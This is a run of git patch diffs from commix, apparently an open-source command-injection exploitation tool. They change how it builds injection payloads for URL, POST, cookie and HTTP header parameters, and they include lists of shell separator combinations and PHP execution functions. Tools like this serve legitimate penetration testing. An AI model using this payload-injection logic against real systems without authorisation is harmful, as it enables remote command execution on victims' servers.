settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. @@ -104,7 +104,7 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(target) # Check if defined method is POST. @@ -120,15 +120,15 @@ def injection_test(payload, http_request_method, url): # Define the POST data if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) try: data = checks.json_data(data) except ValueError: pass elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: - data = parameter.replace(settings.INJECT_TAG, payload) + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) # Check if defined extra headers. diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 7c69c91310..59659d7c36 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -170,6 +170,7 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") break else: @@ -348,6 +349,7 @@ def vuln_POST_param(parameter, url): param = param.split("(")[1] vuln_parameter = param.split(",")[-1:] if ":" in vuln_parameter[0]: + settings.TESTABLE_VALUE = vuln_parameter[0].split(":")[1] vuln_parameter = vuln_parameter[0].split(":")[0] vuln_parameter = ''.join(vuln_parameter) @@ -356,6 +358,7 @@ def vuln_POST_param(parameter, url): if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter): vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter) vuln_parameter = re.findall(r"" + "([^]+)" + settings.INJECT_TAG, parameter)[0] vuln_parameter = ''.join(vuln_parameter) # Regular POST data format. @@ -366,6 +369,7 @@ def vuln_POST_param(parameter, url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") break if 'vuln_parameter' not in locals(): @@ -379,10 +383,9 @@ def vuln_POST_param(parameter, url): def prefixes(payload, prefix): # Check if defined "--prefix" option. if menu.options.prefix: - payload = menu.options.prefix + prefix + payload + payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload else: - payload = prefix + payload - + payload = settings.TESTABLE_VALUE + prefix + payload return payload """ @@ -394,7 +397,6 @@ def suffixes(payload, suffix): payload = payload + suffix + menu.options.suffix else: payload = payload + suffix - return payload """ @@ -487,6 +489,7 @@ def specify_cookie_parameter(cookie): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: inject_cookie = pairs[param].split("=")[0] + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") break else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 23d611d93a..0eb655d021 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -896,7 +896,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): headers.do_check(request) payload = checks.newline_fixation(payload) if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload)) + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) else: request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: diff --git a/src/utils/settings.py b/src/utils/settings.py index dd35c3d083..597aec930c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -383,6 +383,8 @@ def sys_argv_errors(): # The testable parameter. TESTABLE_PARAMETER = "" +TESTABLE_VALUE = "" + # The HTTP header name. HTTP_HEADER = "" From 60998daada248ab9dda0e793a982621224bfca67 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 1 Apr 2022 08:19:04 +0300 Subject: [PATCH 096/560] Minor update regarding commit https://github.com/commixproject/commix/commit/0d66a00d8721715198387f6e8fb3506b44a42b77 --- src/core/requests/parameters.py | 9 ++++++--- src/utils/settings.py | 4 ++-- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 59659d7c36..231d04b6c5 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -134,7 +134,7 @@ def do_GET_check(url, http_request_method): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter @@ -313,7 +313,9 @@ def do_POST_check(parameter, http_request_method): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) parameter = parameter.replace(settings.RANDOM_TAG,"") if type(parameter) != list: @@ -461,7 +463,8 @@ def do_cookie_check(cookie): all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) if type(cookie) != list: cookies_list.append(cookie) diff --git a/src/utils/settings.py b/src/utils/settings.py index 597aec930c..68283cd16e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -408,7 +408,7 @@ def sys_argv_errors(): SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2 # Bad combination of prefix and separator -JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", "%7C;", "%26;", "%7C&"] +JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", ";;" , "%7C;", "%26;", "%7C&"] # Execution functions EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] From e268b6bcde6628faa6a6567301afc5cbe1e8c6e3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 2 Apr 2022 08:58:59 +0300 Subject: [PATCH 097/560] Minor update regarding heuristic tests --- src/core/injections/controller/controller.py | 275 +++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 134 insertions(+), 143 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index ef5fae6c6e..2ca47a8370 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -69,63 +69,54 @@ def check_for_stored_levels(url, http_request_method): Basic heuristic checks for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping (basic) heuristic detection." - print(settings.print_debug_msg(debug_msg)) + if not header_name == " cookie" and not the_type == " HTTP header": + header_name = " " + str(http_request_method) + settings.CLASSIC_STATE = True + try: + if not settings.IDENTIFIED_COMMAND_INJECTION: + _ = 0 + for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: + _ = _ + 1 + if not inject_http_headers: + payload = _urllib.parse.quote(payload) + payload = parameters.prefixes(payload, prefix="") + payload = parameters.suffixes(payload, suffix="") + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + data = None + cookie = None + tmp_url = url + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + if settings.INJECT_TAG in url: + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(tmp_url, data) + if cookie: + request.add_header(settings.COOKIE, cookie) + if inject_http_headers: + request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) + headers.do_check(request) + response = requests.get_request_response(request) + + if type(response) is not bool: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) + if match: + settings.IDENTIFIED_COMMAND_INJECTION = True + info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + print(settings.print_bold_info_msg(info_msg)) + break + + settings.CLASSIC_STATE = False return url - else: - if not header_name == " cookie" and not the_type == " HTTP header": - header_name = " " + str(http_request_method) - settings.CLASSIC_STATE = True - try: - if not settings.IDENTIFIED_COMMAND_INJECTION: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Starting (basic) heuristic detection." - print(settings.print_debug_msg(debug_msg)) - _ = 0 - for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: - _ = _ + 1 - if not inject_http_headers: - payload = _urllib.parse.quote(payload) - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - data = None - cookie = None - tmp_url = url - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data) - if cookie: - request.add_header(settings.COOKIE, cookie) - if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) - headers.do_check(request) - response = requests.get_request_response(request) - - if type(response) is not bool: - html_data = checks.page_encoding(response, action="decode") - match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) - if match: - settings.IDENTIFIED_COMMAND_INJECTION = True - info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." - print(settings.print_bold_info_msg(info_msg)) - break - - settings.CLASSIC_STATE = False - return url - except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Basic heuristic checks for code injection warnings @@ -135,69 +126,60 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping (basic) heuristic detection for " + technique + "." - print(settings.print_debug_msg(debug_msg)) - return url - else: - settings.EVAL_BASED_STATE = True + settings.EVAL_BASED_STATE = True + try: try: - try: - if re.findall(r"=(.*)&", url): - url = url.replace("/&", "/e&") - elif re.findall(r"=(.*)&", menu.options.data): - menu.options.data = menu.options.data.replace("/&", "/e&") - except TypeError as err_msg: - pass - if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Starting (basic) heuristic detection for " + technique + "." - print(settings.print_debug_msg(debug_msg)) - for payload in settings.PHPINFO_CHECK_PAYLOADS: - payload = checks.perform_payload_modification(payload) - if settings.VERBOSITY_LEVEL >= 1: - print(settings.print_payload(payload)) - data = None - cookie = None - tmp_url = url - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + if re.findall(r"=(.*)&", url): + url = url.replace("/&", "/e&") + elif re.findall(r"=(.*)&", menu.options.data): + menu.options.data = menu.options.data.replace("/&", "/e&") + except TypeError as err_msg: + pass + if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + for payload in settings.PHPINFO_CHECK_PAYLOADS: + payload = checks.perform_payload_modification(payload) + if settings.VERBOSITY_LEVEL >= 1: + print(settings.print_payload(payload)) + data = None + cookie = None + tmp_url = url + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + if settings.INJECT_TAG in url: + tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(tmp_url, data) + if cookie: + request.add_header(settings.COOKIE, cookie) + if inject_http_headers: + request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) + headers.do_check(request) + response = requests.get_request_response(request) + + if type(response) is not bool: + html_data = checks.page_encoding(response, action="decode") + match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) + if match: + technique = technique + " (possible PHP version: '" + match.group(1) + "')" + settings.IDENTIFIED_PHPINFO = True else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(tmp_url, data) - if cookie: - request.add_header(settings.COOKIE, cookie) - if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) - headers.do_check(request) - response = requests.get_request_response(request) - - if type(response) is not bool: - html_data = checks.page_encoding(response, action="decode") - match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) - if match: - technique = technique + " (possible PHP version: '" + match.group(1) + "')" - settings.IDENTIFIED_PHPINFO = True - else: - for warning in settings.CODE_INJECTION_WARNINGS: - if warning in html_data: - settings.IDENTIFIED_WARNINGS = True - break - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - break + for warning in settings.CODE_INJECTION_WARNINGS: + if warning in html_data: + settings.IDENTIFIED_WARNINGS = True + break + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." + print(settings.print_bold_info_msg(info_msg)) + break - settings.EVAL_BASED_STATE = False - return url + settings.EVAL_BASED_STATE = False + return url - except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() # Check if it's exploitable via classic command injection technique. def classic_command_injection_technique(url, timesec, filename, http_request_method): @@ -352,35 +334,44 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if not settings.LOAD_SESSION: - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - if not menu.options.batch: - question_msg = "Skipping of further command injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping (basic) heuristic detection." + print(settings.print_debug_msg(debug_msg)) + else: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Starting (basic) heuristic detection." + print(settings.print_debug_msg(debug_msg)) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if not settings.LOAD_SESSION: + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + while True: + if not menu.options.batch: + question_msg = "Skipping of further command injection tests is recommended. " + question_msg += "Do you agree? [Y/n] > " + procced_option = _input(settings.print_question_msg(question_msg)) + else: + procced_option = "" + if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False + settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) info_msg = "Setting the" if not header_name == " cookie" and not the_type == " HTTP header": diff --git a/src/utils/settings.py b/src/utils/settings.py index 68283cd16e..8cfb673407 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From e319624e0bdb0943d64cceb5c503fbb140702756 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 3 Apr 2022 09:54:28 +0300 Subject: [PATCH 098/560] Update regarding commit: https://github.com/commixproject/commix/commit/e268b6bcde6628faa6a6567301afc5cbe1e8c6e3 --- src/core/injections/controller/controller.py | 25 +++++++++++++------- src/core/requests/parameters.py | 19 ++++++++------- src/utils/logs.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 30 insertions(+), 17 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2ca47a8370..3d4a9ca5d7 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -77,7 +77,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: _ = _ + 1 - if not inject_http_headers: + if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") @@ -90,7 +90,10 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + if inject_http_headers: + data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) + else: + data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.INJECT_TAG in url: tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) @@ -110,7 +113,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break - + settings.CLASSIC_STATE = False return url @@ -429,7 +432,7 @@ def http_headers_injection(url, http_request_method, filename, timesec): def user_agent_injection(url, http_request_method, filename, timesec): user_agent = menu.options.agent if not menu.options.shellshock: - menu.options.agent = settings.INJECT_TAG + menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True if settings.USER_AGENT_INJECTION: check_parameter = header_name = " User-Agent" @@ -442,10 +445,12 @@ def user_agent_injection(url, http_request_method, filename, timesec): def referer_injection(url, http_request_method, filename, timesec): referer = menu.options.referer if not menu.options.shellshock: - menu.options.referer = settings.INJECT_TAG + if menu.options.referer is None: + menu.options.referer = "" + menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True if settings.REFERER_INJECTION: - check_parameter = header_name = " Referer" + check_parameter = header_name = " Referer" settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): @@ -453,15 +458,19 @@ def referer_injection(url, http_request_method, filename, timesec): menu.options.agent = referer def host_injection(url, http_request_method, filename, timesec): + host = menu.options.host if not menu.options.shellshock: - menu.options.host = settings.INJECT_TAG + if menu.options.host is None: + menu.options.host = "" + menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True if settings.HOST_INJECTION: - check_parameter = header_name = " Host" + check_parameter = header_name = " Host" settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.HOST_INJECTION = False + menu.options.host = host # User-Agent HTTP header injection if menu.options.skip_parameter == None: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 231d04b6c5..8b8974f36d 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -383,6 +383,13 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): + if settings.USER_AGENT_INJECTION == True: + specify_user_agent_parameter(menu.options.agent) + elif settings.REFERER_INJECTION == True: + specify_referer_parameter(menu.options.referer) + elif settings.HOST_INJECTION == True: + specify_host_parameter(menu.options.host) + # Check if defined "--prefix" option. if menu.options.prefix: payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload @@ -504,8 +511,7 @@ def specify_cookie_parameter(cookie): The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - # Specify the vulnerable user-agent HTTP header - # Nothing to specify here! :) + settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG,"") return user_agent @@ -513,8 +519,7 @@ def specify_user_agent_parameter(user_agent): The referer based injection. """ def specify_referer_parameter(referer): - # Specify the vulnerable referer HTTP header. - # Nothing to specify here! :) + settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG,"") return referer @@ -522,8 +527,7 @@ def specify_referer_parameter(referer): The host based injection. """ def specify_host_parameter(host): - # Specify the vulnerable host HTTP header. - # Nothing to specify here! :) + settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG,"") return host @@ -531,8 +535,7 @@ def specify_host_parameter(host): The Custom http header based injection. """ def specify_custom_header_parameter(header_name): - # Specify the vulnerable HTTP header name. - # Nothing to specify here! :) + settings.TESTABLE_VALUE = header_name.replace(settings.INJECT_TAG,"") return header_name diff --git a/src/utils/logs.py b/src/utils/logs.py index c9ea825ff8..0a3a7a88dd 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -67,6 +67,7 @@ def create_log_file(url, output_dir): print(settings.print_critical_msg(error_msg)) raise SystemExit() + # Create cli history file if does not exist. settings.CLI_HISTORY = output_dir + host + "/" + "cli_history" if not os.path.exists(settings.CLI_HISTORY): diff --git a/src/utils/settings.py b/src/utils/settings.py index 8cfb673407..2097511f15 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 2eba7899b4cfb0403b9c1dd41000f129f00c9c5d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 4 Apr 2022 08:37:46 +0300 Subject: [PATCH 099/560] Minor fixes & updates --- src/core/injections/controller/controller.py | 17 +++++++++-------- src/core/requests/requests.py | 4 ++-- src/utils/settings.py | 8 ++++---- 3 files changed, 15 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 3d4a9ca5d7..d0ddb941cc 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -66,7 +66,7 @@ def check_for_stored_levels(url, http_request_method): """ -Basic heuristic checks for command injection +Heuristic (basic) tests for command injection """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): if not header_name == " cookie" and not the_type == " HTTP header": @@ -110,7 +110,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True - info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." 